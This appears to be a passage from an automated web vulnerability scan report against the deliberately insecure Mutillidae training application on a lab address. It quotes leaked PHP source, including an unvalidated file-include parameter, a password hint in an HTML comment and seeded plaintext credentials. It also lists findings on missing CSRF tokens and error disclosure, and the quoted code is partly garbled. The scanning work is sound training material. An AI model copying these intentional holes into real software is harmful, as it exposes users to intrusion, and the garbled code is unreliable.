naive developers is going to make this problem much worse. HTML 5 includes advanced *
cookies called "offline" storage or "DOM" storage. This is going to be a nightmare * for
enterprises to protect their data from leakage. */ // Expires: past date tells browser that file
is out of date header("Expires: Mon, 26 Jul 1997 05:00:00 GMT", TRUE); // Always modified -
Tells browser that new content available header("Last-Modified: " . gmdate("D, d M Y H:i:s")
. " GMT", TRUE); // HTTP/1.1 and cookie cache control header('Cache-Control: no-store,
no-cache, must-revalidate, post-check=0, pre-check=0, no-cache="set-cookie"', TRUE); //
HTTP/1.0 cache-control header('Pragma: no-cache', TRUE); try{ /* * Remove x-powered-
by header and server header for security. * Server is hard to get rid of without modifying the
Apache config because Apache * adds the header after the PHP has already been
rendered and sent to Apache, * but atleast we discussed it here. */ if
($_header_remove_supported){ header_remove("X-Powered-By"); header_remove
("Server"); }else{ /* Try to get rid of expires, last-modified, Pragma, * cache control header,
HTTP/1.1 and cookie cache control * that would be created if the user * enabled security
level 5. Server is often over-ridden * by Apache no matter what we do. Change Apache
config to fix. */ header("X-Powered-By: Ming Industries Draconian Power Ring", TRUE);
header("Server: Kentucky Wildcat Basketball", TRUE); }// end if } catch (Exception $e) {
//Bummer: The server blabbermouth defense is not working }// end try break; }// end switch
/* ----- * END CACHE CONTROL *
----- *//* ----- * HTML\JAVASCRIPT
```

```

COMMENTS * ----- */ /* In general, HTML and JavaScript
comments are to * be avoided. Commenting is an excellent practice, * but the comments
should be kept on the server * where they belong. To accomplish this, simply * use the
frameworks comment tags rather than * the HTML and JavaScript style comments. */ switch
($_SESSION["security-level"]){ case "0": // This code is insecure case "1": echo ' <!-- I think
the database password is set to blank or perhaps samurai. It depends on whether you
installed this web app from irongeeks site or are using it inside Kevin Johnsons Samurai
web testing framework. It is ok to put the password in HTML comments because no user
will ever see this comment. I remember that security instructor saying we should use the
framework comment symbols (ASP.NET, JAVA, PHP, Etc.) rather than HTML comments,
but we all know those security instructors are just making all this up. -->'; break; case "2":
case "3": case "4": case "5": // This code is fairly secure /* * Note: Notice these are PHP
comments rather than client side comments. * I think the database password is set to blank
or perhaps samurai. */ break; }// end switch /* ----- * END
HTML\JAVASCRIPT COMMENTS * ----- */ /*
----- * DISPLAY PAGE * ----- */ /*
----- * "PAGE" VARIABLE INJECTION *
----- */ $IPage = "home.php"; switch ($_SESSION["security-
level"]){ case "0": // This code is insecure case "1": // This code is insecure // Get the value
of the "page" URL query parameter if (isset($_REQUEST["page"])) { $IPage = $_REQUEST
["page"]; }// end if break; case "2": case "3": case "4": case "5": // This code is fairly secure /*
To prevent page injection, we start with the basic priciple * of "DENY ALL". We decide to
allow only the characters abosolutely * neccesary to spell the Mutillidae file names. This
requires * alpha, hyphen, and period. */ // Get the value of the "page" URL query parameter
without accepting POST. if (isset($_GET["page"])) { $IPage = $_GET["page"]; }// end if
$IPageIsAllowed = (preg_match("/^[a-zA-Z0-9\.\-]+$/", $IPage) == 1); if (!$IPageIsAllowed){
$IPage = "page-not-found.php"; }// end if break; }// end switch /*
----- * END "PAGE" VARIABLE INJECTION *
----- */ /* ----- * SIMULATE
"SECRET" PAGES * ----- */ switch ($IPage){ case "secret.php":
case "admin.php": case "_adm.php": case "_admin.php": case "root.php": case
"administrator.php": case "auth.php": case "hidden.php": case "console.php": case "conf.
php": case "_private.php": case "private.php": case "access.php": case "control.php": case
"control-panel.php": switch ($_SESSION["security-level"]){ case "0": // This code is insecure
case "1": // This code is insecure $IPage="phpinfo.php"; break; case "2": case "3": case "4":
case "5": // This code is fairly secure /* To prevent unauthorized access, we start with the
basic priciple * of "DENY ALL". */ $IUserAuthorized = FALSE; if(isset($_SESSION
['is_admin'])){ if($_SESSION['is_admin'] == 'TRUE'){ $IUserAuthorized = TRUE; }// end if
is_admin }// end if isseet $_SESSION['is_admin'] if($IUserAuthorized){ $IPage="phpinfo.
php"; }else{ $IPage="authorization-required.php"; }// end if $IUserAuthorized break;//case 5 }
// end switch break; default:break; }//end switch on page /* ----- *
END SIMULATE "SECRET" PAGES * ----- */ /*
----- * BEGIN OUTPUT RESPONSE *
----- */ if (strlen($IPage)==0 || !isset($IPage)){ include ("header.
php"); include("home.php"); include ("footer.php"); } elseif ($IPage=="rene-magritte.php") {
/* This page is our framing demonstration. * The page goes in an iframe so we dont want to
* show the header and footer again. They will * already show in the outer frame. */ include
($IPage); } else { include ("header.php"); include ($IPage); include ("footer.php"); }// end if /*
----- * Anti-framing protection (Older Browsers) *
----- */ if ($!IncludeFrameBustingJavaScript){ require_once ("
/includes/anti-framing-protection.inc"); }// end if /* ----- * LOG
USER VISIT TO PAGE * ----- */ require_once ("log-visit.php"); /*
----- * CLOSE DATABASE CONNECTION *
----- */ require_once ("closedb.inc"); require_once ("./includes
/create-html-5-web-storage-target.inc"); ?>

```

URL	http://192.168.56.104/mutillidae/set-up-database.php?s
Node Name	http://192.168.56.104/mutillidae/set-up-database.php (-s)
Method	GET
Attack	
Evidence	
	<?php //initialize custom error handler require_once 'classes/CustomErrorHandler.php'; if (!isset(\$CustomErrorHandler)){ \$CustomErrorHandler = new CustomErrorHandler("owasp-esapi-php/src/", 0); }// end if include 'config.inc'; \$ErrorDetected = FALSE; try{ try{

```

$MySQLiConnection = new mysqli($dbhost, $dbuser, $dbpass); if (mysqli_connect_errno())
{ $ErrorDetected = TRUE; throw (new Exception("Error connecting to MySQL database.
Connection error: ".$MySQLiConnection->connect_errno." - ".$MySQLiConnection-
>connect_error." Error: ".$MySQLiConnection->errno." - ".$MySQLiConnection->error,
$MySQLiConnection->errno)); }else{ echo "<div class='database-success-message'>
>Connected to MySQL database</div>"; }// end if } catch (Exception $e) { echo
$CustomErrorHandler->FormatError($e, "Error attempting to open MySQL connection."); }//
end try try{ $IQuery = "DROP DATABASE IF EXISTS owasp10"; $IResult =
$MySQLiConnection->query($IQuery); if (!$IResult) { $ErrorDetected = TRUE; throw (new
Exception("Error executing query. Connection error: ".$MySQLiConnection-
>connect_errno." - ".$MySQLiConnection->connect_error." Error: ".$MySQLiConnection-
>errno." - ".$MySQLiConnection->error, $MySQLiConnection->errno)); }else{ echo
"<div class='database-success-message'>Executed query 'DROP DATABASE IF
EXISTS' with result ".$IResult."</div>"; }// end if }catch(Exception $e){ //DO NOTHING.
THIS IS HERE DUE TO A MYSQL BUG THAT HAS NOT BEEN PATCHED YET. }//end try
$IQuery = "CREATE DATABASE owasp10"; $IResult = $MySQLiConnection->query
($IQuery); if (!$IResult) { $ErrorDetected = TRUE; throw (new Exception("Error executing
query. Connection error: ".$MySQLiConnection->connect_errno." -
".$MySQLiConnection->connect_error." Error: ".$MySQLiConnection->errno." -
".$MySQLiConnection->error, $MySQLiConnection->errno)); }else{ echo "<div class='
database-success-message'>Executed query 'CREATE DATABASE' with result ".$IResult."<
/div>"; }// end if $IQuery = "USE owasp10"; $IResult = $MySQLiConnection->query
($IQuery); if (!$IResult) { $ErrorDetected = TRUE; throw (new Exception("Error executing
query. Connection error: ".$MySQLiConnection->connect_errno." -
".$MySQLiConnection->connect_error." Error: ".$MySQLiConnection->errno." -
".$MySQLiConnection->error, $MySQLiConnection->errno)); }else{ echo "<div class='
database-success-message'>Executed query 'USE DATABASE' with result ".$IResult."<
/div>"; }// end if $IQuery = 'CREATE TABLE blogs_table( 'cid INT NOT NULL
AUTO_INCREMENT, 'blogger_name TEXT, 'comment TEXT, 'date DATETIME, '
PRIMARY KEY(cid))'; $IResult = $MySQLiConnection->query($IQuery); if (!$IResult) {
$ErrorDetected = TRUE; throw (new Exception("Error executing query. Connection error: ".
$MySQLiConnection->connect_errno." - ".$MySQLiConnection->connect_error." Error:
".$MySQLiConnection->errno." - ".$MySQLiConnection->error, $MySQLiConnection-
>errno)); }else{ echo "<div class='database-success-message'>Executed query
'CREATE TABLE' with result ".$IResult."</div>"; }// end if $IQuery = 'CREATE TABLE
accounts( 'cid INT NOT NULL AUTO_INCREMENT, 'username TEXT, 'password
TEXT, 'mysignature TEXT, 'is_admin VARCHAR(5), 'PRIMARY KEY(cid))'; $IResult =
$MySQLiConnection->query($IQuery); if (!$IResult) { $ErrorDetected = TRUE; throw (new
Exception("Error executing query. Connection error: ".$MySQLiConnection-
>connect_errno." - ".$MySQLiConnection->connect_error." Error: ".$MySQLiConnection-
>errno." - ".$MySQLiConnection->error, $MySQLiConnection->errno)); }else{ echo
"<div class='database-success-message'>Executed query 'CREATE TABLE' with result
".$IResult."</div>"; }// end if $IQuery = 'CREATE TABLE hitlog( 'cid INT NOT NULL
AUTO_INCREMENT, 'hostname TEXT, 'ip TEXT, 'browser TEXT, 'referer TEXT, '
date DATETIME, 'PRIMARY KEY(cid))'; $IResult = $MySQLiConnection->query
($IQuery); if (!$IResult) { $ErrorDetected = TRUE; throw (new Exception("Error executing
query. Connection error: ".$MySQLiConnection->connect_errno." -
".$MySQLiConnection->connect_error." Error: ".$MySQLiConnection->errno." -
".$MySQLiConnection->error, $MySQLiConnection->errno)); }else{ echo "<div class='
database-success-message'>Executed query 'CREATE TABLE' with result ".$IResult."<
/div>"; }// end if $IQuery = "INSERT INTO accounts (username, password, mysignature,
is_admin) VALUES ('admin', 'adminpass', 'Monkey!', 'TRUE'), ('adrian', 'somepassword',
'Zombie Films Rock!', 'TRUE'), ('john', 'monkey', 'I like the smell of confunk', 'FALSE'),
('jeremy', 'password', 'd1373 1337 speak', 'FALSE'), ('bryce', 'password', 'I Love SANS',
'FALSE'), ('samurai', 'samurai', 'Carving Fools', 'FALSE'), ('jim', 'password', 'Jim Rome is
Burning', 'FALSE'), ('bobby', 'password', 'Hank is my dad', 'FALSE'), ('simba', 'password', 'I
am a cat', 'FALSE'), ('dreveil', 'password', 'Preparation H', 'FALSE'), ('scotty', 'password',
'Scotty Do', 'FALSE'), ('cal', 'password', 'Go Wildcats', 'FALSE'), ('john', 'password', 'Do the
Duggie!', 'FALSE'), ('kevin', '42', 'Doug Adams rocks', 'FALSE'), ('dave', 'set', 'Bet on S.E.T.
FTW', 'FALSE'), ('ed', 'pentest', 'Commandline KungFu anyone?', 'FALSE')"; $IResult =
$MySQLiConnection->query($IQuery); if (!$IResult) { $ErrorDetected = TRUE; throw (new
Exception("Error executing query. Connection error: ".$MySQLiConnection-
>connect_errno." - ".$MySQLiConnection->connect_error." Error: ".$MySQLiConnection-
>errno." - ".$MySQLiConnection->error, $MySQLiConnection->errno)); }else{ echo
"<div class='database-success-message'>Executed query 'INSERT INTO TABLE' with
result ".$IResult."</div>"; }// end if $IQuery = "INSERT INTO `blogs_table` (`cid`,
`blogger_name`, `comment`, `date`) VALUES (1, 'adrian', 'Well, I've been working on this
for a bit. Welcome to my crappy blog software. :)', '2009-03-01 22:26:12'), (2, 'adrian',

```

Other
Info

```
'Looks like I got a lot more work to do. Fun, Fun, Fun!!!', '2009-03-01 22:26:54'), (3,
'anonymous', 'An anonymous blog? Huh? ', '2009-03-01 22:27:11'), (4, 'ed', 'I love me some
Netcat!!!', '2009-03-01 22:27:48'), (5, 'john', 'Listen to Pauldotcom!', '2009-03-01 22:29:04'),
(6, 'jeremy', 'Why give users the ability to get to the unfiltered Internet? It's just asking for
trouble. ', '2009-03-01 22:29:49'), (7, 'john', 'Chocolate is GOOD!!!', '2009-03-01 22:30:06'),
(8, 'admin', 'Fear me, for I am ROOT!', '2009-03-01 22:31:13'), (9, 'dave', 'Social
Engineering is woot-tastic', '2009-03-01 22:31:13'), (10, 'kevin', 'Read more Douglas
Adams', '2009-03-01 22:31:13'), (11, 'kevin', 'You should take SANS SEC542', '2009-03-01
22:31:13'), (12, 'asprox', 'Fear me, for I am asprox!', '2009-03-01 22:31:13');" $!Result =
$!MySQLiConnection->query($!Query); if (!$!Result) { $!ErrorDetected = TRUE; throw (new
Exception("Error executing query. Connection error: ". $!MySQLiConnection-
>connect_errorno." - ". $!MySQLiConnection-> connect_error." Error: ". $!MySQLiConnection-
>errorno." - ". $!MySQLiConnection->error, $!MySQLiConnection->errorno)); }else{ echo
"<div class='database-success-message'>Executed query 'INSERT INTO TABLE' with
result ".$!Result."</div>"; }// end if $!Query = 'CREATE TABLE credit_cards( '. 'ccid INT
NOT NULL AUTO_INCREMENT, '. 'ccnumber TEXT, '. 'ccv TEXT, '. 'expiration DATE, '.
'PRIMARY KEY(ccid))'; $!Result = $!MySQLiConnection->query($!Query); if (!$!Result) {
$!ErrorDetected = TRUE; throw (new Exception("Error executing query. Connection error: ".
$!MySQLiConnection->connect_errorno." - ". $!MySQLiConnection-> connect_error." Error:
". $!MySQLiConnection->errorno." - ". $!MySQLiConnection->error, $!MySQLiConnection-
>errorno)); }else{ echo "<div class='database-success-message'>Executed query
'CREATE TABLE' with result ".$!Result."</div>"; }// end if $!Query ="INSERT INTO
`credit_cards` (`ccid`, `ccnumber`, `ccv`, `expiration`) VALUES (1, '4444111122223333',
'745', '2012-03-01 10:01:12'), (2, '7746536337776330', '722', '2015-04-01 07:00:12'), (3,
'8242325748474749', '461', '2016-03-01 11:55:12'), (4, '7725653200487633', '230', '2017-
06-01 04:33:12'), (5, '1234567812345678', '627', '2018-11-01 13:31:13');" $!Result =
$!MySQLiConnection->query($!Query); if (!$!Result) { $!ErrorDetected = TRUE; throw (new
Exception("Error executing query. Connection error: ". $!MySQLiConnection-
>connect_errorno." - ". $!MySQLiConnection-> connect_error." Error: ". $!MySQLiConnection-
>errorno." - ". $!MySQLiConnection->error, $!MySQLiConnection->errorno)); }else{ echo
"<div class='database-success-message'>Executed query 'INSERT INTO TABLE' with
result ".$!Result."</div>"; }// end if $!Query = 'CREATE TABLE pen_test_tools( '. 'tool_id INT
NOT NULL AUTO_INCREMENT, '. 'tool_name TEXT, '. 'phase_to_use TEXT, '. 'tool_type
TEXT, '. 'comment TEXT, '. 'PRIMARY KEY(tool_id))'; $!Result = $!MySQLiConnection-
>query($!Query); if (!$!Result) { $!ErrorDetected = TRUE; throw (new Exception("Error
executing query. Connection error: ". $!MySQLiConnection->connect_errorno." -
". $!MySQLiConnection-> connect_error." Error: ". $!MySQLiConnection->errorno." - ".
$!MySQLiConnection->error, $!MySQLiConnection->errorno)); }else{ echo "<div class='
database-success-message'>Executed query 'CREATE TABLE' with result ".$!Result."<
/div>"; }// end if $!Query ="INSERT INTO `pen_test_tools` (`tool_id`, `tool_name`,
`phase_to_use`, `tool_type`, `comment`) VALUES (1, 'WebSecurity', 'Discovery', 'Scanner',
'Can capture screenshots automatically'), (2, 'Grendel-Scan', 'Discovery', 'Scanner', 'Has
interactive-mode. Lots plug-ins. Includes Nikto. May not spider JS menus well.'), (3,
'Skipfish', 'Discovery', 'Scanner', 'Aggressive. Fast. Uses wordlists to brute force directories.'),
(4, 'w3af', 'Discovery', 'Scanner', 'GUI simple to use. Can call sqlmap. Allows scan
packages to be saved in profiles. Provides evasion, discovery, brute force, vulnerability
assessment (audit), exploitation, pattern matching (grep).'), (5, 'Burp-Suite', 'Discovery',
'Scanner', 'GUI simple to use. Provides highly configurable manual scan assistance with
productivity enhancements.'), (6, 'Netsparker Community Edition', 'Discovery', 'Scanner',
'Excellent spider abilities and reporting. GUI driven. Runs on Windows. Good at SQLi and
XSS detection. From Mavituna Security. Professional version available for purchase.'), (7,
'NeXpose', 'Discovery', 'Scanner', 'GUI driven. Runs on Windows. From Rapid7.
Professional version available for purchase. Updates automatically. Requires large amounts
of memory.'), (8, 'Hailstorm', 'Discovery', 'Scanner', 'From Cenizc. Professional version
requires dedicated staff, multiple dedicated servers, professional pen-tester to analyze
results, and very large license fee. Extensive scanning ability. Very large vulnerability
database. Highly configurable. Excellent reporting. Can scan entire networks of web
applications. Extremely expensive. Requires large amounts of memory.'), (9, 'Tamper Data',
'Discovery', 'Interception Proxy', 'Firefox add-on. Easy to use. Tamperers with POST
parameters and HTTP Headers. Does not tamper with URL query parameters. Requires
manual browsing.'), (10, 'DirBuster', 'Discovery', 'Fuzzer', 'OWASP tool. Fuzzes directory
names to brute force directories.'), (11, 'SQL Inject Me', 'Discovery', 'Fuzzer', 'Firefox add-
on. Attempts common strings which elicit XSS responses. Not compatible with Firefox 8.0.'),
(12, 'XSS Me', 'Discovery', 'Fuzzer', 'Firefox add-on. Attempts common strings which elicit
responses from databases when SQL injection is present. Not compatible with Firefox 8.0.'),
(13, 'GreaseMonkey', 'Discovery', 'Browser Manipulation Tool', 'Firefox add-on. Allows the
user to inject JavaScripts and change page.'), (14, 'NSLookup', 'Reconnaissance', 'DNS
Server Query Tool', 'DNS query tool can query DNS name or reverse lookup on IP. Set
```


debug for better output. Premiere tool on Windows but Linux prefers Dig. DNS traffic generally over UDP 53 unless response long then over TCP 53. Online version combined with anonymous proxy or TOR network may be preferred for stealth. (15, 'Whois', 'Reconnaissance', 'Domain name lookup service', 'Whois is available in Linux natively and Windows as a Sysinternals download plus online. Whois can lookup the registrar of a domain and the IP block associated. An online version is <http://network-tools.com/>), (16, 'Dig', 'Reconnaissance', 'DNS Server Query Tool', 'The Domain Information Gopher is preferred on Linux over NSLookup and provides more information natively. NSLookup must be in debug mode to give similar output. DIG can perform zone transfers if the DNS server allows transfers. (17, 'Fierce Domain Scanner', 'Reconnaissance', 'DNS Server Query Tool', 'Powerful DNS scan tool. FDS is a Perl program which scans and reverse scans a domain plus scans IPs within the same block to look for neighboring machines. Available in the Samurai and Backtrack distributions plus <http://hackers.org/fierce/>), (18, 'host', 'Reconnaissance', 'DNS Server Query Tool', 'A simple DNS lookup tool included with BIND. The tool is a friendly and capable command line tool with excellent documentation. Does not possess the automation of FDS. (19, 'zaproxy', 'Reconnaissance', 'Interception Proxy', 'OWASP Zed Attack Proxy. An interception proxy that can also passively or actively scan applications as well as perform brute-forcing. Similar to Burp-Suite without the disadvantage of requiring a costly license. (20, 'Google intitle', 'Discovery', 'Search Engine', 'intitle and site directives allow directory discovery. GHDB available to provide hints. See Hackers for Charity site.');

```

"; $IResult = $MySQLiConnection->query($IQuery); if (!$IResult) {
$IErrorDetected = TRUE; throw (new Exception("Error executing query. Connection error: ".
$MySQLiConnection->connect_errno." - ".$MySQLiConnection->connect_error." Error:
".$MySQLiConnection->errno." - ".$MySQLiConnection->error, $MySQLiConnection-
>errno)); }else{ echo "<div class='\"database-success-message\"'>Executed query
'INSERT INTO TABLE' with result ".$IResult."</div>"; }// end if $IQuery = 'CREATE TABLE
captured_data(' . 'data_id INT NOT NULL AUTO_INCREMENT, ' . 'ip_address TEXT, ' .
'hostname TEXT, ' . 'port TEXT, ' . 'user_agent_string TEXT, ' . 'referrer TEXT, ' . 'data TEXT,
' . 'capture_date DATETIME, ' . 'PRIMARY KEY(data_id) ' . '); $IResult = $MySQLiConnection-
>query($IQuery); if (!$IResult) { $IErrorDetected = TRUE; throw (new Exception("Error
executing query. Connection error: ". $MySQLiConnection->connect_errno." -
".$MySQLiConnection->connect_error." Error: ".$MySQLiConnection->errno." -
".$MySQLiConnection->error, $MySQLiConnection->errno)); }else{ echo "<div class='\"
database-success-message\"'>Executed query 'CREATE TABLE' with result ".$IResult."<
/div>"; }// end if $IQuery = " CREATE PROCEDURE getBestCollegeBasketballTeam ()
BEGIN SELECT 'Kentucky Wildcats'; END; "; $IResult = $MySQLiConnection->query
($IQuery); if (!$IResult) { $IErrorDetected = TRUE; throw (new Exception("Error executing
query. Connection error: ". $MySQLiConnection->connect_errno." -
".$MySQLiConnection->connect_error." Error: ".$MySQLiConnection->errno." -
".$MySQLiConnection->error, $MySQLiConnection->errno)); }else{ echo "<div class='\"
database-success-message\"'>Executed query 'CREATE PROCEDURE' with result
".$IResult."</div>"; }// end if $IQuery = " CREATE PROCEDURE
authenticateUserAndReturnProfile (p_username text, p_password text) BEGIN SELECT
accounts.cid, accounts.username, accounts.password, accounts.mysignature FROM
accounts WHERE accounts.username = p_username AND accounts.password =
p_password; END; "; $IResult = $MySQLiConnection->query($IQuery); if (!$IResult) {
$IErrorDetected = TRUE; throw (new Exception("Error executing query. Connection error: ".
$MySQLiConnection->connect_errno." - ".$MySQLiConnection->connect_error." Error:
".$MySQLiConnection->errno." - ".$MySQLiConnection->error, $MySQLiConnection-
>errno)); }else{ echo "<div class='\"database-success-message\"'>Executed query
'CREATE PROCEDURE' with result ".$IResult."</div>"; }// end if $IQuery = " CREATE
PROCEDURE owasp10.insertBlogEntry ( pBloggerName text, pComment text ) BEGIN
INSERT INTO blogs_table( blogger_name, comment, date )VALUES( pBloggerName,
pComment, now() ); END; "; $IResult = $MySQLiConnection->query($IQuery); if (!$IResult)
{ $IErrorDetected = TRUE; throw (new Exception("Error executing query. Connection error:
". $MySQLiConnection->connect_errno." - ".$MySQLiConnection->connect_error."
Error: ".$MySQLiConnection->errno." - ".$MySQLiConnection->error,
$MySQLiConnection->errno)); }else{ echo "<div class='\"database-success-message\"'
>Executed query 'CREATE PROCEDURE' with result ".$IResult."</div>"; }// end if try{
$IResult = $MySQLiConnection->close(); if (!$IResult) { $IErrorDetected = TRUE; throw
(new Exception("Error executing query. Connection error: ".$MySQLiConnection-
>connect_errno." - ".$MySQLiConnection->connect_error." Error: ".$MySQLiConnection-
>errno." - ".$MySQLiConnection->error, $MySQLiConnection->errno)); }else{ echo
"<div class='\"database-success-message\"'>Executed query 'CLOSE DATABASE' with
result ".$IResult."</div>"; }// end if } catch (Exception $e) { echo $CustomErrorHandler-
>FormatError($e, "Error attempting to close MySQL connection."); }// end try } catch
(Exception $e) { echo $CustomErrorHandler->FormatError($e, $IQuery); }// end try // if no
errors were detected, send the user back to the page that requested the database be reset.

```


	//We use JS instead of HTTP Location header so that HTML5 clearing JS above will run if (!\$ErrorDetected){ echo "<script>if(confirm(\"No PHP or MySQL errors were detected when resetting the database.\n\nClick OK to proceed or Cancel to stay on this page.\")) {document.location=\"\".\$_SERVER[\"HTTP_REFERER\"].\"\"};</script>\"; //header(\"Location: \".\$_SERVER[\"HTTP_REFERER\"], true, 302); }// end if \$CustomErrorHandler = null; ?>
Instances	3
Solution	Upgrade to the latest stable version of PHP, or use the Apache web server and the mod_rewrite module to filter out malicious requests using the "RewriteCond" and "RewriteRule" directives.
Reference	https://owasp.org/www-community/vulnerabilities/Improper_Data_Validation https://cheatsheetseries.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html https://cwe.mitre.org/data/definitions/89.html
CWE Id	20
WASC Id	20
Plugin Id	20017

Medium	Absence of Anti-CSRF Tokens
Description	No Anti-CSRF tokens were found in a HTML submission form. A cross-site request forgery is an attack that involves forcing a victim to send an HTTP request to a target destination without their knowledge or intent in order to perform an action as the victim. The underlying cause is application functionality using predictable URL /form actions in a repeatable way. The nature of the attack is that CSRF exploits the trust that a web site has for a user. By contrast, cross-site scripting (XSS) exploits the trust that a user has for a web site. Like XSS, CSRF attacks are not necessarily cross-site, but they can be. Cross-site request forgery is also known as CSRF, XSRF, one-click attack, session riding, confused deputy, and sea surf. CSRF attacks are effective in a number of situations, including: * The victim has an active session on the target site. * The victim is authenticated via HTTP auth on the target site. * The victim is on the same local network as the target site. CSRF has primarily been used to perform an action against a target site using the victim's privileges, but recent techniques have been discovered to disclose information by gaining access to the response. The risk of information disclosure is dramatically increased when the target site is vulnerable to XSS, because XSS can be used as a platform for CSRF, allowing the attack to operate within the bounds of the same-origin policy.
URL	http://192.168.56.104/mutillidae/index.php?page=dns-lookup.php
Node Name	http://192.168.56.104/mutillidae/index.php (page)
Method	GET
Attack	
Evidence	<form action="index.php?page=dns-lookup.php" method="post" enctype="application/x-www-form-urlencoded" onsubmit="return onSubmitBlogEntry(this);" id="idDNSLookupForm">
Other Info	No known Anti-CSRF token [anticsrf, CSRFTOKEN, __RequestVerificationToken, csrfmiddlewaretoken, authenticity_token, OWASP_CSRFTOKEN, anoncsrf, csrf_token, _csrf, _csrfSecret, __csrf_magic, CSRF, _token, _csrf_token, _csrfToken] was found in the following HTML form: [Form 1: "dns-lookup-php-submit-button" "idTargetHostInput"].
URL	http://192.168.56.104/mutillidae/index.php?page=html5-storage.php
Node Name	http://192.168.56.104/mutillidae/index.php (page)
Method	GET

Attack	
Evidence	<form action="index.php?page=html5-storage.php" method="post" enctype="application/x-www-form-urlencoded" onsubmit="return false;" id="idForm">
Other Info	No known Anti-CSRF token [anticsrf, CSRFToken, __RequestVerificationToken, csrfmiddlewaretoken, authenticity_token, OWASP_CSRFTOKEN, anoncsrf, csrf_token, _csrf, _csrfSecret, __csrf_magic, CSRF, _token, _csrf_token, _csrfToken] was found in the following HTML form: [Form 1: "idDOMStorageItemInput" "idDOMStorageKeyInput" "SessionStorageType"].
URL	http://192.168.56.104/mutillidae/index.php?page=login.php
Node Name	http://192.168.56.104/mutillidae/index.php (page)
Method	GET
Attack	
Evidence	<form action="index.php?page=login.php" method="post" enctype="application/x-www-form-urlencoded" onsubmit="return onSubmitOfLoginForm(this);" id="idLoginForm">
Other Info	No known Anti-CSRF token [anticsrf, CSRFToken, __RequestVerificationToken, csrfmiddlewaretoken, authenticity_token, OWASP_CSRFTOKEN, anoncsrf, csrf_token, _csrf, _csrfSecret, __csrf_magic, CSRF, _token, _csrf_token, _csrfToken] was found in the following HTML form: [Form 1: "login-php-submit-button" "password" "username"].
URL	http://192.168.56.104/mutillidae/index.php?page=register.php
Node Name	http://192.168.56.104/mutillidae/index.php (page)
Method	GET
Attack	
Evidence	<form action="index.php?page=register.php" method="post" enctype="application/x-www-form-urlencoded">
Other Info	No known Anti-CSRF token [anticsrf, CSRFToken, __RequestVerificationToken, csrfmiddlewaretoken, authenticity_token, OWASP_CSRFTOKEN, anoncsrf, csrf_token, _csrf, _csrfSecret, __csrf_magic, CSRF, _token, _csrf_token, _csrfToken] was found in the following HTML form: [Form 1: "confirm_password" "password" "register-php-submit-button" "username"].
URL	http://192.168.56.104/mutillidae/index.php?page=view-someones-blog.php
Node Name	http://192.168.56.104/mutillidae/index.php (page)
Method	GET
Attack	
Evidence	<form action="index.php?page=view-someones-blog.php" method="post" enctype="application/x-www-form-urlencoded">
Other Info	No known Anti-CSRF token [anticsrf, CSRFToken, __RequestVerificationToken, csrfmiddlewaretoken, authenticity_token, OWASP_CSRFTOKEN, anoncsrf, csrf_token, _csrf, _csrfSecret, __csrf_magic, CSRF, _token, _csrf_token, _csrfToken] was found in the following HTML form: [Form 1: "view-someones-blog-php-submit-button"].
Instances	Systemic
	Phase: Architecture and Design Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, use anti-CSRF packages such as the OWASP CSRFGuard. Phase: Implementation Ensure that your application is free of cross-site scripting issues, because most CSRF defenses can be bypassed using attacker-controlled script.

Solution	Phase: Architecture and Design
	Generate a unique nonce for each form, place the nonce into the form, and verify the nonce upon receipt of the form. Be sure that the nonce is not predictable (CWE-330).
	Note that this can be bypassed using XSS.
	Identify especially dangerous operations. When the user performs a dangerous operation, send a separate confirmation request to ensure that the user intended to perform that operation.
	Note that this can be bypassed using XSS.
	Use the ESAPI Session Management control.
	This control includes a component for CSRF.
Reference	Do not use the GET method for any request that triggers a state change.
	Phase: Implementation
	Check the HTTP Referer header to see if the request originated from an expected page. This could break legitimate functionality, because users or proxies may have disabled sending the Referer for privacy reasons.
Reference	https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html https://cwe.mitre.org/data/definitions/352.html
CWE Id	352
WASC Id	9
Plugin Id	10202

Medium	Application Error Disclosure
Description	This page contains an error/warning message that may disclose sensitive information like the location of the file that produced the unhandled exception. This information can be used to launch further attacks against the web application. The alert could be a false positive if the error message is found inside a documentation page.
URL	http://192.168.56.104/mutillidae/?page=view-someones-blog.php
Node Name	http://192.168.56.104/mutillidae/ (page)
Method	GET
Attack	
Evidence	Warning : include_once(./includes/sql-injection.inc) [function.include-once] failed to open stream: No such file or directory in /var/www/mutillidae/view-someones-blog.php on line 296
Other Info	
URL	http://192.168.56.104/mutillidae/?page=add-to-your-blog.php
Node Name	http://192.168.56.104/mutillidae/ (page)
Method	GET
Attack	
Evidence	Table 'metasploit.blogs_table' doesn't exist
Other Info	
URL	http://192.168.56.104/mutillidae/index.php?page=pen-test-tool-lookup.php

Node Name	http://192.168.56.104/mutillidae/index.php (page)
Method	GET
Attack	
Evidence	Fatal error: Call to a member function fetch_object() on a non-object in /var/www/mutillidae/pen-test-tool-lookup.php on line 273
Other Info	
URL	http://192.168.56.104/mutillidae/index.php?page=browser-info.php
Node Name	http://192.168.56.104/mutillidae/index.php (page)
Method	GET
Attack	
Evidence	Warning: fsockopen() [function.fsockopen]: php_network_getaddresses: getaddrinfo failed: Name or service not known in /var/www/mutillidae/classes/ClientInformationHandler.php on line 151
Other Info	
URL	http://192.168.56.104/mutillidae/index.php?page=view-someones-blog.php
Node Name	http://192.168.56.104/mutillidae/index.php (page)
Method	GET
Attack	
Evidence	Table 'metasploit.accounts' doesn't exist
Other Info	
URL	http://192.168.56.104/mutillidae/index.php?page=add-to-your-blog.php
Node Name	http://192.168.56.104/mutillidae/index.php (page)
Method	GET
Attack	
Evidence	Table 'metasploit.blogs_table' doesn't exist
Other Info	
URL	http://192.168.56.104/mutillidae/index.php?page=captured-data.php
Node Name	http://192.168.56.104/mutillidae/index.php (page)
Method	GET
Attack	
Evidence	Table 'metasploit.captured_data' doesn't exist
Other Info	
URL	http://192.168.56.104/mutillidae/index.php?page=show-log.php
Node Name	http://192.168.56.104/mutillidae/index.php (page)
Method	GET
Attack	

Evidence	Table 'metasploit.hitlog' doesn't exist
Other Info	
URL	http://192.168.56.104/mutillidae/index.php?page=pen-test-tool-lookup.php
Node Name	http://192.168.56.104/mutillidae/index.php (page)
Method	POST
Attack	
Evidence	Fatal error: Call to a member function fetch_object() on a non-object in /var/www/mutillidae/pen-test-tool-lookup.php on line 273
Other Info	
URL	http://192.168.56.104/mutillidae/index.php?page=add-to-your-blog.php
